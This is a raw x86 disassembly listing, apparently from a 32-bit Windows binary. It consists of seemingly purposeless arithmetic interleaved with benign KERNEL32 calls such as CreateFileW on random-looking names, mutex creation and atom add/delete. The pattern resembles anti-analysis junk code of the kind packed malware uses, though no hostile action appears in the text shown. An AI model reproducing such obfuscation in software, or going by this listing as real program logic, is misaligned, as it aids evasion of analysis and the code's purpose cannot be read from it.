movzx edx, word [0x100b9a1c]
movzx eax, word [0x100b7258]
xor edx, eax
mov ecx, dword [ebp - 0x39a8]
mov word [ecx], dx
mov edx, dword [ebp - 0x3770]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38e4]
shr eax, cl
mov ecx, dword [0x100b98b0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x391c]
mov ax, word [edx]
mov word [ebp - 0x1298], ax
push 0
push 2
push 3
push 0
push 1
push 0xc0000000
push str.vZWYCPGyDD64cVhgQXn6GiiV2Fm
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9e7c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3b38], eax
push 0x100b9e80
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x398c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x284], dl
mov edx, dword [ebp - 0x3934]
mov eax, dword [ebp - 0x36b0]
and eax, dword [edx]
mov dword [0x100b7278], eax
movsx ecx, byte [ebp - 0x271]
movsx edx, byte [ebp - 0x275]
sub ecx, edx
mov eax, dword [ebp - 0x37e4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x39f0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9708], eax
mov dword [ebp - 0x3b3c], 0x100b979c
mov edx, dword [ebp - 0x3818]
movzx eax, word [edx]
movzx ecx, word [0x100b94f8]
shl eax, cl
mov word [0x100b71cc], ax
movzx ecx, word [0x100b9be8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x129c], ax
movsx edx, byte [ebp - 0xef]
mov eax, dword [ebp - 0x383c]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x39b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x364c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3a2c]
shr edx, cl
mov dword [0x100b727c], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9e98], eax
movzx eax, word [ebp - 0x11e8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9c58], ax
lea ecx, [ebp - 0x1214]
mov dword [ebp - 0x3b40], ecx
push 0
push 0x100
push 3
push 0
push 4
push 0x40000000
push str.ksg7MBgtnXjY_rU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3b44], eax
lea edx, [ebp - 0x9e]
mov dword [ebp - 0x3b48], edx
mov eax, dword [ebp - 0x3714]
mov ecx, dword [eax]
mov dword [0x100b9e9c], ecx
mov edx, dword [ebp - 0x3a44]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x11cc]
add eax, ecx
mov word [ebp - 0xf60], ax
mov edx, dword [ebp - 0x36ec]
mov eax, dword [edx]
mov dword [ebp - 0x3b4c], eax
mov ecx, dword [ebp - 0x370c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3750]
movsx ecx, word [eax]
and edx, ecx
mov word [0x100b9888], dx
lea edx, [ebp - 0xad38]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x377c]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x3968]
mov dword [ebp - 0x3080], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9ea0], eax
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x39ec]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x48], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ea4], eax
mov eax, dword [0x100b9654]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x18c]
shl edx, cl
mov eax, dword [0x100b9724]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3b50], eax
push 0x1124
mov ecx, dword [0x100b98f4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3b54], eax
movsx edx, byte [ebp - 0x272]
movsx eax, byte [0x100b7183]
xor edx, eax
mov byte [ebp - 0x43], dl
lea ecx, [ebp - 0x3768]
mov dword [ebp - 0x3b58], ecx
mov edx, dword [ebp - 0x3620]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xe]
add eax, ecx
mov byte [0x100b71a3], al
lea edx, [ebp - 0x9c70]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x100b99d0]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x970]
sar edx, cl
mov word [ebp - 0x1298], dx
lea eax, [ebp - 0x1200]
mov dword [ebp - 0x3b5c], eax
lea ecx, [ebp - 0x3acc]
mov dword [0x100b9ea8], ecx
movsx edx, byte [ebp - 0xbc]
movsx eax, byte [ebp - 0x287]
or edx, eax
mov ecx, dword [ebp - 0x3b10]
mov byte [ecx], dl
push 0
push 0x100b9810
mov edx, dword [0x100b9eb4]
push edx
mov eax, dword [0x100b9eb0]
push eax
mov ecx, dword [0x100b9494]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3584], eax
mov edx, dword [ebp - 0x3a74]
mov eax, dword [edx]
and eax, dword [0x100b724c]
mov dword [ebp - 0x2e18], eax
mov ecx, dword [0x100b9be4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x286]
xor edx, eax
mov ecx, dword [0x100b9b70]
mov byte [ecx], dl
lea edx, [ebp - 0x121c]
mov dword [ebp - 0x3b60], edx
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x39b8]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x5c4], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b64], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9eac], eax
push 0
lea ecx, [ebp - 0x97fc]
push ecx
mov edx, dword [0x100b9754]
push edx
mov eax, dword [0x100b9750]
push eax
mov ecx, dword [ebp - 0x3638]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3b68], eax
movsx edx, byte [0x100b7e0e]
movsx ecx, byte [0x100b7157]
shl edx, cl
mov byte [0x100b7d97], dl
lea eax, [ebp - 0x1254]
mov dword [ebp - 0x3b6c], eax
mov ecx, dword [ebp - 0x3634]
add ecx, dword [ebp - 0x2ef4]
mov dword [ebp - 0x2af4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9eb8], eax
mov edx, dword [ebp - 0x39fc]
mov eax, dword [edx]
mov dword [0x100b9ebc], eax
push 0
push 0x20
push 4
push 0
push 2
push 0x40000000
push str.6pVQXvDDyYmK41z9M3iLahm2PV7j1ZZ9Ph
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3b70], eax
mov ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x398c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x279], dl
mov ecx, dword [0x100b9b74]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movsx edx, word [ebp - 0x788]
mov eax, dword [ebp - 0x395c]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x37a0]
mov word [eax], dx
movsx ecx, byte [0x100b7157]
movsx edx, byte [ebp - 0xc1]
or ecx, edx
mov byte [0x100b716b], cl
mov eax, dword [0x100b9bb8]
mov cx, word [eax]
mov word [ebp - 0x12a0], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b99dc], eax
mov edx, dword [ebp - 0x3a7c]
mov dword [ebp - 0x3b74], edx
mov eax, dword [ebp - 0x364c]
mov ecx, dword [0x100b7208]
xor ecx, dword [eax]
mov dword [0x100b7280], ecx
movzx edx, byte [ebp - 0x91]
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x9e], dl
movsx edx, byte [ebp - 0x270]
movsx ecx, byte [ebp - 0x27a]
shl edx, cl
mov byte [ebp - 0x272], dl
movsx eax, word [ebp - 0x11e4]
movsx ecx, word [ebp - 0x1214]
and eax, ecx
mov word [0x100b9aa8], ax
mov edx, dword [ebp - 0x3610]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xe28]
sar eax, cl
mov word [ebp - 0x6d0], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x392c], eax
lea ecx, [ebp - 0x2b3c]
mov dword [ebp - 0x3b78], ecx
mov edx, dword [ebp - 0x35c4]
mov al, byte [edx]
mov byte [0x100b7fd2], al
movzx ecx, byte [0x100b7f02]
mov edx, dword [ebp - 0x38fc]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x265], cl
mov ecx, dword [ebp - 0x3860]
mov eax, dword [ebp - 0x3080]
xor edx, edx
div dword [ecx]
mov dword [ebp - 0x3268], eax
mov edx, dword [ebp - 0x3a18]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1200]
add eax, ecx
mov word [0x100b7258], ax
movsx edx, word [ebp - 0x970]
movsx eax, word [0x100b9e70]
or edx, eax
mov ecx, dword [ebp - 0x3b40]
mov word [ecx], dx
mov edx, dword [ebp - 0x38d4]
mov eax, dword [ebp - 0x3b74]
and eax, dword [edx]
mov dword [ebp - 0x3838], eax
lea ecx, [ebp - 0x2e]
mov dword [0x100b9ec0], ecx
mov edx, dword [ebp - 0x36f4]
mov al, byte [edx]
mov byte [ebp - 0x291], al
movzx ecx, word [ebp - 0x1178]
mov edx, dword [0x100b9688]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x3644]
mov word [edx], cx
lea eax, [ebp - 0x1228]
mov dword [0x100b9ec4], eax
mov ecx, dword [ebp - 0x38cc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2ac0]
shl edx, cl
mov dword [ebp - 0x31e0], edx
mov eax, dword [ebp - 0x3ae4]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3840]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1194], dx
movzx ecx, word [ebp - 0x116c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9ec8], ax
push 0x21dc
push 0
push 0x100b9498
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3b7c], eax
mov edx, dword [ebp - 0x359c]
mov eax, dword [0x100b71c8]
xor eax, dword [edx]
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
lea edx, [ebp - 0xc1]
mov dword [ebp - 0x3b80], edx
push 0
lea eax, [ebp - 0x97fc]
push eax
mov ecx, dword [0x100b9814]
push ecx
mov edx, dword [0x100b9810]
push edx
mov eax, dword [ebp - 0x37b4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9ecc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9ed0], eax
push str.DwNhe_CohNQ8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12a4], ax
movzx ecx, byte [ebp - 0x28d]
mov edx, dword [ebp - 0x3620]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100b9be4]
mov byte [edx], cl
mov ax, word [ebp - 0x7ac]
mov word [ebp - 0x12a8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3880], eax
mov ecx, dword [0x100b9c64]
mov edx, dword [ebp - 0x3794]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x37b0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9ed4], eax
mov ecx, dword [ebp - 0x377c]
mov edx, dword [ecx]
mov dword [0x100b9ed8], edx
lea eax, [ebp - 0x600]
mov dword [ebp - 0x3b84], eax
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7e02]
xor edx, eax
mov byte [ebp - 0xc1], dl
push str.G2uap_Iw_JwBXvV5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12ac], ax
movzx ecx, byte [ebp - 0x288]
mov edx, dword [0x100b9904]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x100b71ae], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9678], eax
lea ecx, [ebp - 0x1d5]
mov dword [ebp - 0x3b88], ecx
mov eax, dword [0x100b7244]
cdq
idiv dword [ebp - 0x3458]
mov dword [ebp - 0x33b4], eax
movzx edx, word [0x100b7224]
movzx ecx, word [ebp - 0x12a0]
shl edx, cl
mov eax, dword [0x100b95f0]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x396c], eax
lea ecx, [ebp - 0x11e4]
mov dword [ebp - 0x3b8c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e5c], eax
mov edx, dword [ebp - 0x3b28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3944]
shr eax, cl
mov dword [ebp - 0x34c0], eax
mov ecx, dword [ebp - 0x37c4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x268]
add edx, eax
mov byte [0x100b718a], dl
movsx ecx, byte [0x100b716a]
movsx edx, byte [ebp - 0x275]
and ecx, edx
mov eax, dword [ebp - 0x3b80]
mov byte [eax], cl
mov dword [ebp - 0x3b90], 0x100b9530
lea ecx, [ebp - 0x128c]
mov dword [0x100b9edc], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3b94], eax
push str.V0zKK_PWiH2I.uZo_QVo
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9ee0], ax
mov edx, dword [ebp - 0x3a30]
mov ax, word [edx]
mov word [ebp - 0x12b0], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ee4], eax
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe28]
xor edx, eax
mov ecx, dword [ebp - 0x3428]
mov word [ecx], dx
movzx edx, byte [0x100b7e57]
mov eax, dword [ebp - 0x3548]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b71af], dl
mov edx, dword [ebp - 0x364c]
mov eax, dword [ebp - 0x2f78]
sub eax, dword [edx]
mov dword [ebp - 0x37ec], eax
lea ecx, [ebp - 0x38c8]
mov dword [ebp - 0x3b98], ecx
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1ab]
or eax, ecx
mov byte [0x100b71a2], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3b9c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9e98], eax
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
movzx ecx, word [0x100b9d68]
shl eax, cl
mov word [ebp - 0xda8], ax
movsx edx, word [ebp - 0x7d8]
mov eax, dword [ebp - 0x3af8]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x730], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3908], eax
movsx ecx, byte [ebp - 0x269]
movsx edx, byte [ebp - 0x2e]
and ecx, edx
mov byte [0x100b7157], cl
movzx eax, byte [ebp - 0x27c]
movzx ecx, byte [ebp - 0x28a]
add eax, ecx
mov edx, dword [ebp - 0x33e4]
mov byte [edx], al
lea eax, [ebp - 0x306c]
mov dword [ebp - 0x3ba0], eax
mov ecx, dword [ebp - 0x38ec]
mov edx, dword [ecx]
mov dword [0x100b9ee8], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3a54], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9eec], eax
movsx eax, byte [str._AaV]
movsx ecx, byte [ebp - 0x262]
and eax, ecx
mov edx, dword [ebp - 0x34d0]
mov byte [edx], al
lea eax, [ebp - 0xb0c]
mov dword [ebp - 0x3ba4], eax
mov ecx, dword [ebp - 0x384c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x362c]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b99d0]
mov word [ecx], dx
lea edx, [ebp - 0x26d]
mov dword [ebp - 0x3ba8], edx
mov eax, dword [ebp - 0x3170]
mov ecx, dword [0x100b9ee8]
shl eax, cl
mov ecx, dword [ebp - 0x3910]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3660]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x6f0]
or eax, ecx
mov word [0x100b7284], ax
mov edx, dword [ebp - 0x37ac]
mov eax, dword [0x100b958c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3b28]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x278]
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x88], al
movzx eax, word [0x100b95a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12b4], ax
mov ecx, dword [ebp - 0x38f0]
movsx edx, word [ecx]
movsx eax, word [0x100b95ec]
add edx, eax
mov ecx, dword [0x100b9734]
mov word [ecx], dx
push 0x100b9ef0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dl, byte [0x100b7e1f]
mov byte [ebp - 0x292], dl
mov eax, dword [ebp - 0x399c]
mov ecx, dword [ebp - 0x3810]
and ecx, dword [eax]
mov dword [ebp - 0x2d84], ecx
lea edx, [ebp - 0x27b]
mov dword [0x100b9f08], edx
lea eax, [ebp - 0xad5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3ac8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x11cc]
imul edx, eax
mov word [ebp - 0x1148], dx
movzx edx, word [ebp - 0xfd0]
mov eax, dword [ebp - 0x37fc]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x8d0], dx
push 0x21b2
push 0
push 0x100b9c74
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3bac], eax
mov ecx, dword [ebp - 0x37bc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [0x100b96e4]
mov eax, dword [ebp - 0x2db8]
xor edx, edx
div dword [ecx]
mov edx, dword [0x100b997c]
mov dword [edx], eax
movsx eax, word [0x100b94f4]
mov ecx, dword [ebp - 0x35bc]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x35ac]
mov word [ecx], ax
push 0x100a53c0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f0c], ax
push 0x100b9e00
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x26d]
mov dword [ebp - 0x3bb0], edx
mov eax, dword [ebp - 0x3b58]
mov ecx, dword [eax]
mov dword [0x100b9f10], ecx
mov edx, dword [ebp - 0x3490]
mov al, byte [edx]
mov byte [ebp - 0x293], al
mov ecx, dword [0x100b9730]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3b6c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3808]
mov word [ecx], dx
push str.EFgDfPV_DG_FVFGFQGL_DI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12b8], ax
push 0x100b9b78
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [0x100b71cc]
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
or edx, ecx
mov word [0x100b7284], dx
movzx edx, word [ebp - 0x11fc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12bc], ax
lea eax, [ebp - 0xef]
mov dword [ebp - 0x3bb4], eax
mov ecx, dword [0x100b9b10]
mov edx, dword [ebp - 0x2bf4]
add edx, dword [ecx]
mov dword [0x100b7288], edx
mov eax, dword [ebp - 0x37a0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3724]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3988]
mov word [edx], cx
mov eax, dword [ebp - 0x33e4]
mov cl, byte [eax]
mov byte [ebp - 0x294], cl
mov edx, dword [0x100b9584]
mov eax, dword [ebp - 0x30e8]
xor eax, dword [edx]
mov ecx, dword [0x100b9a4c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x39d4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3918]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xe28], ax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x3a40]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x2c60], ecx
mov edx, dword [ebp - 0x3684]
mov ax, word [edx]
mov word [0x100b9f14], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9f18], eax
mov edx, dword [ebp - 0x2ec4]
mov ecx, dword [0x100b9c70]
shl edx, cl
mov dword [ebp - 0x3944], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3a54], eax
movzx eax, word [0x100b9944]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9f1c], ax
movzx ecx, byte [ebp - 0x140]
mov edx, dword [ebp - 0x3a84]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3620]
mov byte [edx], cl
movsx eax, byte [ebp - 0xa5]
movsx ecx, byte [str.i3]
and eax, ecx
mov edx, dword [0x100b9b5c]
mov byte [edx], al
mov dword [ebp - 0x3bb8], 0x100b717b
mov eax, dword [ebp - 0x2e2c]
or eax, dword [0x100b9530]
mov dword [ebp - 0x3790], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3bbc], eax
movzx edx, byte [ebp - 0x5f]
mov eax, dword [ebp - 0x3884]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b71ba], dl
movsx ecx, word [ebp - 0xa9c]
movsx edx, word [ebp - 0xbe8]
add ecx, edx
mov word [ebp - 0xdfc], cx
mov eax, dword [ebp - 0x3814]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xfd0]
and ecx, edx
mov word [ebp - 0x1210], cx
mov eax, dword [ebp - 0x2ec4]
mov dword [0x100b9f20], eax
push 0
push 0x100b9b00
mov ecx, dword [ebp - 0x9818]
push ecx
mov edx, dword [ebp - 0x981c]
push edx
mov eax, dword [ebp - 0x378c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9f24], eax
mov ecx, dword [0x100b959c]
mov dl, byte [ecx]
mov byte [ebp - 0x295], dl
mov eax, dword [ebp - 0x3ae0]
mov ecx, dword [ebp - 0x2e18]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x39fc]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x9e]
mov ecx, dword [ebp - 0x3a84]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7efb], al
push 0x100b9954
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx edx, word [ebp - 0x11b8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12c0], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9648], eax
mov dword [ebp - 0x3bc0], 0x100b71d0
movsx eax, word [ebp - 0x115c]
movsx ecx, word [ebp - 0x7d8]
or eax, ecx
mov word [ebp - 0xed8], ax
mov edx, dword [0x100b9818]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x349c]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7166], al
movzx edx, word [ebp - 0x1150]
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3a10]
mov word [eax], dx
lea ecx, [ebp - 0x2af4]
mov dword [ebp - 0x3bc4], ecx
lea edx, [ebp - 0x3790]
mov dword [0x100b9f28], edx
push 0x2690
push 0
lea eax, [ebp - 0x3b2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9f2c], eax
movzx ecx, byte [ebp - 0x28d]
mov edx, dword [ebp - 0x38fc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x265], cl
push 0
push 0xdde
push 0x21ec
push 0xfb
mov ecx, dword [0x100b9820]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x3bc8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3bcc], eax
mov edx, dword [ebp - 0x37f8]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x11d4]
xor eax, ecx
mov edx, dword [ebp - 0x3840]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9f30], eax
mov eax, dword [ebp - 0x3a5c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7e0e], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
mov ecx, dword [ebp - 0x3930]
mov dx, word [ecx]
mov word [ebp - 0x12c4], dx
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3910]
mov ecx, dword [ebp - 0x3994]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
lea ecx, [ebp - 0x2ac0]
mov dword [0x100b9f34], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3bd0], eax
movzx edx, byte [ebp - 0x260]
mov eax, dword [ebp - 0x33e4]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x158], dl
push 0x100b9f38
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx edx, byte [ebp - 0x28f]
mov eax, dword [0x100b9f08]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x27a], dl
mov dx, word [ebp - 0x1278]
mov word [0x100b9f50], dx
mov ax, word [0x100b71cc]
mov word [ebp - 0x12c8], ax
push str.QQ_CcPWla_5k8_HH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f54], ax
lea ecx, [ebp - 0x3858]
mov dword [ebp - 0x3bd4], ecx
lea edx, [ebp - 0xad38]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100b9498]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
lea ecx, [ebp - 0x97fc]
push ecx
mov edx, dword [ebp - 0x9820]
push edx
mov eax, dword [ebp - 0x9824]
push eax
mov ecx, dword [ebp - 0x38f8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9ecc], eax
mov edx, dword [ebp - 0x3490]
movsx eax, byte [edx]
mov ecx, dword [0x100b99cc]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b9d5c]
mov byte [edx], al
push str.GpmjBev_AW4VNhqP_ZeFcHD.mZr4Hyv
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f58], ax
movzx eax, byte [ebp - 0x21a]
mov ecx, dword [ebp - 0x38fc]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x33e4]
mov byte [ecx], al
mov edx, dword [0x100b7280]
and edx, dword [ebp - 0x2e1c]
mov dword [ebp - 0x3324], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9f5c], eax
movzx eax, word [ebp - 0xda8]
movzx ecx, word [0x100b9b9c]
imul eax, ecx
mov word [0x100b728c], ax
mov edx, dword [ebp - 0x37a0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3960]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1214], ax
mov eax, dword [ebp - 0x2c3c]
mov ecx, dword [ebp - 0x3068]
shl eax, cl
mov ecx, dword [ebp - 0x3800]
mov dword [ecx], eax
movsx edx, byte [0x100b7e6a]
movsx eax, byte [ebp - 0x87]
add edx, eax
mov ecx, dword [0x100b987c]
mov byte [ecx], dl
mov dl, byte [ebp - 0x277]
mov byte [ebp - 0x296], dl
push 0
push 0x400
push 3
push 0
push 8
push 0x80000000
push str.JlIOhGGQ9h92RSEpwK14
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3bd8], eax
lea eax, [ebp - 0x1280]
mov dword [ebp - 0x3bdc], eax
mov cx, word [ebp - 0x1264]
mov word [0x100b9f60], cx
mov edx, dword [ebp - 0x346c]
mov eax, dword [ebp - 0x377c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x3680]
mov dword [eax], edx
movsx ecx, word [0x100b9f50]
movsx edx, word [ebp - 0x1298]
and ecx, edx
mov word [ebp - 0x1140], cx
